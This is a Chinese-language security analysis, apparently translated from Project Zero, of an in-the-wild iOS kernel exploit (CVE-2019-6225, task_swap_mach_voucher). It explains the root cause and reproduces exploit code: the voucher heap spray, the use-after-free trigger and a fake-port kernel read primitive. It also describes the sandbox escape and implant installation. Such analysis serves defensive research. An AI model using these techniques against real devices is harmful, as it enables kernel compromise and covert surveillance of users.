概述
这个漏洞链目前被三个不同的团队发现,分别是攻击者恶意组织、Project Zero的Brandon Azad和360安全的@S0rryMybad。
在2018年11月17日,@S0rryMybad利用此漏洞在天府杯PWN比赛中赢得20万美元的奖金。Brandon Azad在2018年12月6日独立发现并向Apple报告了同样的漏洞。Apple在2019年1月22日修复了这一问题,并在iOS 12.1.4的发布说明(修复CVE-2019-6225漏洞)中对@S0rryMyBad和Brandon表示了感谢。该漏洞甚至被评为Blackhat 2019中的最佳特权提升漏洞。
但是,为什么已经拥有可用的iOS漏洞利用链#4(包含2019年2月向Apple报告的0-day漏洞)的攻击者会暂时舍弃这个利用链,转而使用一个全新的利用链呢?我们推测,可能是因为这个利用链更加可靠,只利用了一个漏洞,而没有使用漏洞的组合,同时还避免了iOS漏洞利用链#4中用于沙箱逃逸的基于线程的重新分配技术中固有的缺陷。
然而,更加重要的是这个漏洞的本质原因。2014年,Apple添加了一个名为“vouchers”的新功能的未完成实现,并且这个新代码的一部分涉及到了一个新的系统调用(从技术上看,是一个任务端口MIG方法),据我所知,这个位置从来没有被利用过。需要明确的是,如果有一次测试中使用过预期的参数调用了系统调用,那么就会引发内核错误(Kernel Panic)。如果任何一位Apple开发人员在这四年内试图使用过这个功能,他们的手机会立即崩溃,他们也就随即会发现这一问题。
在这篇详细的文章中,我们将详细介绍攻击者如何利用该漏洞安装恶意植入工具,并监控设备上的用户活动。我的下一篇文章将分析植入工具本身,包括命令和控制以及其监控能力的演示。
在野外的iOS漏洞利用链#5 – task_swap_mach_voucher
目标:iPhone 5s – iPhone X,11.4.1版本到12.1.2版本。
第一个不受支持的版本:12.1.3 – 2019年1月22日
iPhone6,1 (5s, N51AP)
iPhone6,2 (5s, N53AP)
iPhone7,1 (6 plus, N56AP)
iPhone7,2 (6, N61AP)
iPhone8,1 (6s, N71AP)
iPhone8,2 (6s plus, N66AP)
iPhone8,4 (SE, N69AP)
iPhone9,1 (7, D10AP)
iPhone9,2 (7 plus, D11AP)
iPhone9,3 (7, D101AP)
iPhone9,4 (7 plus, D111AP)
iPhone10,1 (8, D20AP)
iPhone10,2 (8 plus, D21AP)
iPhone10,3 (X, D22AP)
iPhone10,4 (8, D201AP)
iPhone10,5 (8 plus, D211AP)
iPhone10,6 (X, D221AP)
15G77 (11.4.1 – 2018年7月9日)
16A366 (12.0 – 2018年9月17日)
16A404 (12.0.1 – 2018年10月8日)
16B92 (12.1 – 2018年10月30日)
16C50 (12.1.1 – 2018年12月5日)
16C10 (12.1.2 – 2018年12月17日)
Vouchers功能
Vouchers是2014年在iOS 8中引入的一项功能。Vouchers的代码似乎已经写到操作系统中,但没有完全被实现,上述存在漏洞的代码如下:
/* Placeholders for the task set/get voucher interfaces */
kern_return_t
task_get_mach_voucher(
task_t task,
mach_voucher_selector_ __unused which,
ipc_voucher_t* voucher)
{
if (TASK_NULL == task)
return KERN_INVALID_TASK;
*voucher = NULL;
return KERN_SUCCESS;
}
kern_return_t
task_set_mach_voucher(
task_t task,
ipc_voucher_t __unused voucher)
{
if (TASK_NULL == task)
return KERN_INVALID_TASK;
return KERN_SUCCESS;
}
kern_return_t
task_swap_mach_voucher(
task_t task,
ipc_voucher_t new_voucher,
ipc_voucher_t* in_out_old_voucher)
{
if (TASK_NULL == task)
return KERN_INVALID_TASK;
*in_out_old_voucher = new_voucher;
return KERN_SUCCESS;
}
也许有些读者不能很快发现上述代码段中存在的漏洞,实际上这很正常。自2014年以来,这个漏洞一直保留在代码库和所有iPhone上,可以从任何沙箱内部触发。如果任何人尝试使用这段代码,并使用有效的voucher调用task_swap_mach_voucher,那么就会触发这个漏洞。在这四年中,几乎可以肯定的是,尽管可以从任意沙箱中触发漏洞,但还没有任何代码实际使用过task_swap_mach_voucher功能。
这个功能很可能从未被调用过任何一次,无论是在开发、测试、QA还是生产环节中。因为只要有人测试,就会直接导致内核错误(Kernel Panic)并强制重启。我们只能假设这段代码顺利通过了代码审计、测试和QA过程。task_swap_mach_voucher是任务端口上的内核MIG方法,它也无法被iOS沙箱禁用,进一步加重了该漏洞的威胁程度。
我们要了解为什么这里存在实际的漏洞,就需要深入分析MIG自动生成的代码,该代码调用task_swap_mach_voucher。下面是task_swap_mach_voucher的相关MIG定义
routine task_swap_mach_voucher(
task : task_t;
new_voucher : ipc_voucher_t;
inout old_voucher : ipc_voucher_t);
/* IPC voucher internal object */
type ipc_voucher_t = mach_port_t
intran: ipc_voucher_t convert_port_to_voucher(mach_port_t)
outtran: mach_port_t convert_voucher_to_port(ipc_voucher_t)
destructor: ipc_voucher_release(ipc_voucher_t)
;
下面是运行MIG工具后得到的自动生成代码(已经添加注释)以及其调用的XNU方法:
这个漏洞的根本原因可能在于MIG非常难以使用,安全使用它的唯一方法就是非常仔细地阅读自动生成的代码。我们没有找到任何关于如何正确使用MIG的公开文档。
尽管漏洞的根本原因并不是太明确,但事实是,发现并触发这一漏洞的过程非常简单。
遗憾的是,对这个漏洞的担忧并不是理论上的,而是在野外发现了实际利用。
漏洞利用
为了进一步了解这个漏洞,我们需要首先清楚mach voucher实际上是什么。Brandon Azad对其进行了很好的总结:“IPC voucher表示一组任意属性,可以通过Mach消息的发送权限在进程之间传递。”
具体来说,voucher在内核中由以下结构表示:
/*
* IPC Voucher
*
* Vouchers are a reference counted immutable (once-created) set of
* indexes to particular resource manager attribute values
* (which themselves are reference counted).
*/
struct ipc_voucher {
iv_index_t iv_hash; /* checksum hash */
iv_index_t iv_sum; /* checksum of values */
os_refcnt_t iv_refs; /* reference count */
iv_index_t iv_table_size; /* size of the voucher table */
iv_index_t iv_inline_table[IV_ENTRIES_INLINE];
iv_entry_t iv_table; /* table of voucher attr entries */
ipc_port_t iv_port; /* port representing the voucher */
queue_chain_t iv_hash_link; /* link on hash chain */
};
通过向host_create_mach_voucher主机端口MIG方法提供“recipes”,我们可以创建vouchers,并获取代表这些vouchers的发送端口的发送权限。另外重要的一点是,vouchers应该是独一无二的。对于给定的一组键和值,只有一个mach端口来代表它们。在另一个recipe中提供相同的一组键和值,应该会产生相同的voucher和voucher端口。
Voucher从它们自己的区域(ipc_voucher_zone)来分配,它们是引用计数对象,引用计数存储在iv_refs字段中。
由于针对mach vouchers的Use-After-Free漏洞攻击过程中可能需要创建许多voucher,因此在Brandon的漏洞利用方式中,创建了USER_DATA voucher,这种voucher包含用户控制的数据,以便始终确保会创建新的voucher:
static mach_port_t
create_voucher(uint64_t id) {
assert(host != MACH_PORT_NULL);
static uint64_t uniqueness_token = 0;
if (uniqueness_token == 0) {
uniqueness_token = (((uint64_t)arc4random()) << 32) | getpid();
}
mach_port_t voucher = MACH_PORT_NULL;
#pragma clang diagnostic push
#pragma clang diagnostic ignored "-Wgnu-variable-sized-type-not-at-end"
struct __attribute__((packed)) {
mach_voucher_attr_recipe_data_t user_data_recipe;
uint64_t user_data_content[2];
} recipes = {};
#pragma clang diagnostic pop
recipes.user_data_recipe.key = MACH_VOUCHER_ATTR_KEY_USER_DATA;
recipes.user_data_recipe.command = MACH_VOUCHER_ATTR_USER_DATA_STORE;
recipes.user_data_recipe.content_size = sizeof(recipes.user_data_content);
recipes.user_data_content[0] = uniqueness_token;
recipes.user_data_content[1] = id;
kern_return_t kr = host_create_mach_voucher(
host,
(mach_voucher_attr_raw_recipe_array_t) &recipes,
sizeof(recipes),
&voucher);
assert(kr == KERN_SUCCESS);
assert(MACH_PORT_VALID(voucher));
return voucher;
}
@S0rryMybad和攻击者都认识到,使用以下recipe创建的ATM vouchers始终是唯一的。在@S0rryMybad的PoC和野外漏洞利用中,也使用了相同的结构:
mach_voucher_attr_recipe_data_t atm_data = {
.key = MACH_VOUCHER_ATTR_KEY_ATM,
.command = 510
}
漏洞利用策略
像往常一样,攻击者通过hw.memsize来确认正在攻击的是4k还是16k设备。攻击者会创建一个新的、挂起的线程,并获取其线程端口,以备随后使用。
攻击者将再次使用管道缓冲技术,以便提高打开文件的限制,同时分配0x800管道。攻击者分配两组端口(ports_a、ports_b)和两个独立端口。
攻击者还分配了ATM voucher,他们最后会用到这一权限。此外,他们再次使用内存压力技术强制GC。
他们在voucher之前分配了0x2000的大小,这是ATM vouchers的位置,意味着这些都是独一无二的。这样一来,将会分配新ipc_voucher结构和新ipc_ports的一大块区域。
for ( k = 0; k < 0x2000; ++k ) {
host_create_mach_voucher(mach_host_self(),
voucher_recipe,
0x10,
&before_voucher_ports[k]);
}
分配目标voucher:
host_create_mach_voucher(mach_host_self(), voucher_recipe, 0x10, &target_voucher_port);
在voucher之后分配0x1000:
for ( k = 0; k < 0x1000; ++k ) {
host_create_mach_voucher(mach_host_self(),
voucher_recipe,
0x10,
&after_voucher_ports[k]);
}
攻击者在这里尝试将目标voucher放在一个页面上,他们同时还控制页面上所有其他voucher的生命周期,这类似于ipc_port UaF技术:
他们通过thread_set_mach_voucher将voucher端口分配给休眠线程。这样一来,会将voucher的引用次数增加到2——一个由端口持有,一个由线程持有:
thread_set_mach_voucher(sleeping_thread_mach_port, target_voucher_port);
随之就触发了漏洞:
old_voucher = MACH_PORT_NULL;
task_swap_mach_voucher(mach_task_self(),
target_voucher_port,
&old_voucher);
我想再次强调,这个触发器代码绝对没什么特别之处,这就是使用这个API的预期方式。
在此之后,有两个引用计数指针指向voucher,一个是从mach端口到voucher,另一个是从sleeper线程的结构线程到voucher,但voucher只具有一个引用。
他们销毁了之前的端口:
for (m = 4096; m < 0x2000; ++m) {
mach_port_destroy(mach_task_self(), before_voucher_ports[m]);
}
然后是目标端口:
mach_port_destroy(mach_task_self(), target_voucher_port);
最后是后面的端口:
for (m = 4096; m < 0x1000; ++m) {
mach_port_destroy(mach_task_self(), after_voucher_ports[m]);
}
由于目标voucher对象其中之一只剩下了一个引用,因此当引用计数变为零时,销毁target_voucher_port的过程将释放voucher,但sleeper线程的ith_voucher字段仍将指向现在释放后的voucher。
因此,攻击者可以强制利用区域GC,使得包含voucher的页面可以由另一个区域重新分配。
他们在mach消息中发送80MB页面大小的外联内存描述符,每一个都包含重复伪造的空voucher结构,其中的iv_refs字段设置为0x100,其他所有字段都设置为0:
这些会以20条消息来发送,每条消息分别发送到ports_a中的前20个端口。
随后,他们分配另一个0x2000端口,discloser_before_ports。
接下来,分配相邻的目标端口,并将上下文值设置为0x1337733100。我们一开始不清楚为什么要这么做,但最后明白了原因。
然后,调用thread_get_mach_voucher,传递sleeper线程的线程端口:
discloser_mach_port = MACH_PORT_NULL;
thread_get_mach_voucher(sleeping_thread_mach_port, 0, &discloser_mach_port);
下面是该方法的内核实现。回想一下,ith_voucher是一个指向voucher的悬挂指针,攻击者试图用外联内存描述符缓冲区替换它所指向的内容:
kern_return_t
thread_get_mach_voucher(
thread_act_t thread,
mach_voucher_selector_t __unused which,
ipc_voucher_t* voucherp)
{
ipc_voucher_t voucher;
mach_port_name_t voucher_name;
if (THREAD_NULL == thread)
return KERN_INVALID_ARGUMENT;
thread_mtx_lock(thread);
voucher = thread->ith_voucher; // read the dangling pointer
// which should now point in to an OOL desc
// backing buffer
/* if already cached, just return a ref */
if (IPC_VOUCHER_NULL != voucher) {
ipc_voucher_reference(voucher);
thread_mtx_unlock(thread);
*voucherp = voucher;
return KERN_SUCCESS;
}
...
随后,自动生成的MIG包装器将在返回的(悬空)voucher指针上调用convert_voucher_to_port:
RetCode = thread_get_mach_voucher(thr_act, In0P->which, &voucher);
thread_deallocate(thr_act);
if (RetCode != KERN_SUCCESS) {
MIG_RETURN_ERROR(OutP, RetCode);
}
...
OutP->voucher.name = (mach_port_t)convert_voucher_to_port(voucher);
convert_voucher_to_port代码如下:
ipc_port_t
convert_voucher_to_port(ipc_voucher_t voucher)
{
ipc_port_t port, send;
if (IV_NULL == voucher)
return (IP_NULL);
/* create a port if needed */
port = voucher->iv_port;
if (!IP_VALID(port)) {
port = ipc_port_alloc_kernel();
ipc_kobject_set_atomically(port, (ipc_kobject_t) voucher, IKOT_VOUCHER);
...
/* If we lose the race, deallocate and pick up the other guy's port */
if (!OSCompareAndSwapPtr(IP_NULL, port, &voucher->iv_port)) {
ipc_port_dealloc_kernel(port);
port = voucher->iv_port;
}
}
ip_lock(port);
send = ipc_port_make_send_locked(port);
...
return (send);
}
这里正在处理的ipc_voucher结构实际上现在由攻击者发送到ports_a端口的一个外联内存描述符后备缓冲区支持。由于他们将所有字段与引用计数分开设置为0,因此iv_port字段将为NULL。这意味着,内核将(通过ipc_port_alloc_kernel())分配一个新端口,然后将该ipc_port指针写入voucher对象。OSCompareAndSwap会将voucher->iv_port字段设置为端口:
if (!OSCompareAndSwapPtr(IP_NULL, port, &voucher->iv_port)) { ...
如果到目前为止,所做的一切努力都有效,那么我们会得到将voucher端口的地址写入外联内存描述符缓冲区的效果。
攻击者分配另外0x1000端口,再次确保具有相邻端口和虚假voucher端口的整个页面的所有权:
for ( ll = 0; ll < 0x1000; ++ll ) {
mach_port_allocate(mach_task_self(), 1, &discloser_after_ports[ll]);
}
图示如下:
他们持续接收外联内存描述符,直到发现一个看起来像内核指针的内容为止。然后,检查iv_refs字段是否为0x101(攻击者将其设置为0x100,并且创建了新的端口voucher,添加了额外的引用)。如果找到这样的端口,就会再次分配外联描述符内存,但这次会将ipc_port指针提升到指向下一个16k页面的开始部分:
他们会破坏所有的discloser_before和discloser_after端口然后强制GC。将iv_port字段向上移动16k的原因是,因为当iv_port字段被覆盖时,它们泄露了对虚假voucher端口的引用,因此不会收集区域块(即使释放了相邻端口也是如此)。但是现在,虚假voucher的iv_port字段指向的内存可以被不同的区域重用。
此时,攻击者已经得到了内核读写原语的两个先决条件:一个指向ipc_port的可控指针,以及掌握内核地址以清楚喷射应该在哪里结束。从现在开始,攻击者就可以像之前的漏洞利用一样开展实际攻击。
管道
攻击者在0x800 4k管道缓冲区中构建伪造的pid_for_task内核端口。因为攻击者知道,iv_port指针指向4k边界,因此他们在管道缓冲区的下半部分构建了虚假的端口结构,并且在偏移量+0x800的上半部分写入该伪造端口的管道fd的索引,设置虚假端口以从该地址读取:
void
fill_buf_with_simple_kread_32_port(uint64_t buf,
uint64_t kaddr_of_dangling_port,
uint64_t read_target)
{
char* fake_port = (char*)buf;
*(uint32_t*)(buf + 0x00) = 0x80000002; // IO_ACTIVE | IKOT_TASK
*(uint32_t*)(buf + 0x04) = 10; // io_refs
*(uint32_t*)(buf + 0x68) = kaddr_of_dangling_port + 0x100;
*(uint32_t*)(buf + 0xA0) = 10;
char* fake_task = buf+0x100;
*(uint32_t*)(fake_task + 0x010) = 10;
*(uint64_t*)(fake_task + 0x368) = read_target - 0x10;
}
fill_buf_with_simple_kread_32_port(buf,
target_port_next_16k_page,
target_port_next_16k_page + 0x800);
magic = 0x88880000;
for (int i = 0; i < 0x800; i++) {
*(uint32_t*)&buf[2048] = i + magic;
write(pipe_fds[2 * i + 1], buf, 0xfff);
}
攻击者调用thread_get_mach_voucher,会将发送权限返回到其中一个管道缓冲区中的虚假任务端口,然后调用pid_for_task,它将执行kread32原语,读取在replacer管道缓冲区中偏移量+0x800处写入的u32值:
thread_get_mach_voucher(sleeping_thread_mach_port,
0,
&discloser_mach_port);
replacer_pipe_value = 0;
pid_for_task(discloser_mach_port, &replacer_pipe_value);
if ((replacer_pipe_index & 0xFFFF0000) == magic ) {
...
从魔术值的地方,他们能够确定与替换端口内存的管道缓冲区所对应的文件描述符。现在攻击者就拥有了kread32原语的所有要求。
攻击者使用kread32在最初公开的虚假voucher端口地址附近搜索ip_context为0x1337733100的ipc_port结构。这是他们在开始时给相邻端口的上下文值。搜索从公开的端口地址向外进行,一旦找到,就会在ipc_port中读取+0x60处的字段,也就是ip_receiver字段。
该端口的接收权限属于这一任务,因此ipc_port的ip_receiver字段将指向其任务的struct ipc_space。他们读取偏移量+0x28处的指针,指向它们的任务结构。随后,读取任务结构的proc指针,然后向后遍历双向链接的进程列表,直到找到一个值,其中较低21位与allproc列表头部的偏移量相匹配。一旦找到后,攻击者就可以通过将运行时观察到的值减去allproc符号的未刷新值来确定KASLR slide。
使用KASLR slide,攻击者可以读取kernel_task指针,并找到内核vm_map的地址。这就是攻击者在管道缓冲区中构建标准虚假内核任务所需的全部内容,可以为内核内存提供读写操作。
沙箱逃逸
攻击者遍历allproc链接的进程列表,查找自己的进程并启动。他们暂时为自己分配了launchd的凭据结构,从而继承了launchd的沙箱配置文件。他们在内存中修补平台策略沙箱配置文件字节码,从DATA:file段部分读取嵌入式植入工具,计算CDHash,并使用内核任意写入漏洞将CDHash添加到trustcache。
攻击者将植入的Payload二进制文件放在/tmp/updateserver中,并通过posix_spawn来执行。
他们通过将kern.maxfilesperproc sysctl的值设置为0x27ff的方式来标记已经攻陷的设备。
清理工作
至此,攻击者已经不再需要虚假内核任务端口,因此会将其销毁。虚假内核任务端口的引用计数为0x2000,因此不会被释放。他们关闭所有管道然后返回,并且ping HTTP服务器以表示对另一个目标的成功攻陷。